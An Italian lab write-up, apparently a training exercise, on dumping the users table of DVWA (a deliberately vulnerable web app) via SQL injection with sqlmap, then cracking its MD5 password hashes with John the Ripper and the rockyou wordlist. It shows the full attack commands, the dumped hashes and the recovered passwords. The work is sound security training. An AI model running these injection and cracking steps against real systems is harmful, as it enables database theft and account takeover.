PASSWORD CRACKING

FRANCESCO PERSICHETTI

L’esercizio di oggi consiste nel crackare le password trovate tramite SQLinjection di ieri con questo comando

```
┌──(kali㉿kali)-[~]
└─$ sqlmap -u 'http://192.168.50.101/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit' -cookie="security=low; PHPSESSID=d48456705a524720f795824088f2d92b" --dump
```

Come risultato ci vengono restituite le colonne del database, tra le quali username e password

```
Table: users
[5 entries]
+---------+---------+-------------------------------------------------------+----------------------------------+-----------+------------+
| user_id | user    | avatar                                                | password                         | last_name | first_name |
+---------+---------+-------------------------------------------------------+----------------------------------+-----------+------------+
| 1       | admin   | http://172.16.123.129/dvwa/hackable/users/admin.jpg   | 5f4dcc3b5aa765d61d8327deb882cf99 | admin     | admin      |
| 2       | gordonb | http://172.16.123.129/dvwa/hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 | Brown     | Gordon     |
| 3       | 1337    | http://172.16.123.129/dvwa/hackable/users/1337.jpg    | 8d3533d75ae2c3966d7e0d4fcc69216b | Me        | Hack       |
| 4       | pablo   | http://172.16.123.129/dvwa/hackable/users/pablo.jpg   | 0d107d09f5bbe40cade3de5c71e9e9b7 | Picasso   | Pablo      |
| 5       | smithy  | http://172.16.123.129/dvwa/hackable/users/smithy.jpg  | 5f4dcc3b5aa765d61d8327deb882cf99 | Smith     | Bob        |
+---------+---------+-------------------------------------------------------+----------------------------------+-----------+------------+
```

Per iniziare abbiamo estratto il file contente una “common password list” all’interno della wordlists di kali con il comando “sudo gunzip rockyou.txt.gz”. Al suo interno ci sono una lista di password che con l’aiuto del tool di cracking serviranno per decriptare le password criptate in hash sul nostro database

```
┌──(kali㉿kali)-[/usr/share/wordlists]
└─$ ls
amass  dirb  dirbuster  fasttrack.txt  fern-wifi  john.lst  legion  metasploit  nmap.lst  rockyou.txt  sqlmap.txt  wfuzz  wifite.txt

┌──(kali㉿kali)-[/usr/share/wordlists]
└─$ sudo gunzip rockyou.txt.gz
```

Dopodiché creiamo un nuovo file di testo chiamato “pass_hash.txt” dove andiamo a ricopiare il nome utente e la rispettiva password criptata, come richiesto dal tool “John the ripper” per il corretto funzionamento del cracking

```
File  Actions  Edit  View  Help
  GNU nano 6.4
admin:5f4dcc3b5aa765d61d8327deb882cf99
gordonb:e99a18c428cb38d5f260853678922e03
1337:8d3533d75ae2c3966d7e0d4fcc69216b
pablo:0d107d09f5bbe40cade3de5c71e9e9b7
smithy:5f4dcc3b5aa765d61d8327deb882cf99
```

In conclusione, usando il tool di cracking “John the Ripper” data la sua efficacia nel gestire parallelamente i task per ridurre i tempi di cracking, stampiamo le password decriptate dal nostro programma con il comando
“sudo john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt pass_hash.txt”

```
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt pass_hash.txt
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8×3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
password         (admin)
abc123           (gordonb)
letmein          (pablo)
charley          (1337)
4g 0:00:00:00 DONE (2022-11-30 09:22) 133.3g/s 102400p/s 102400c/s 153600C/s my3kids..dangerous
Warning: passwords printed above might not be all those cracked
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
```

Al termine della sessione di cracking per vedere tutte le password trovate basta dare il comando “sudo john --show --format=raw-md5 /home/kali/Desktop/pass_hash.txt”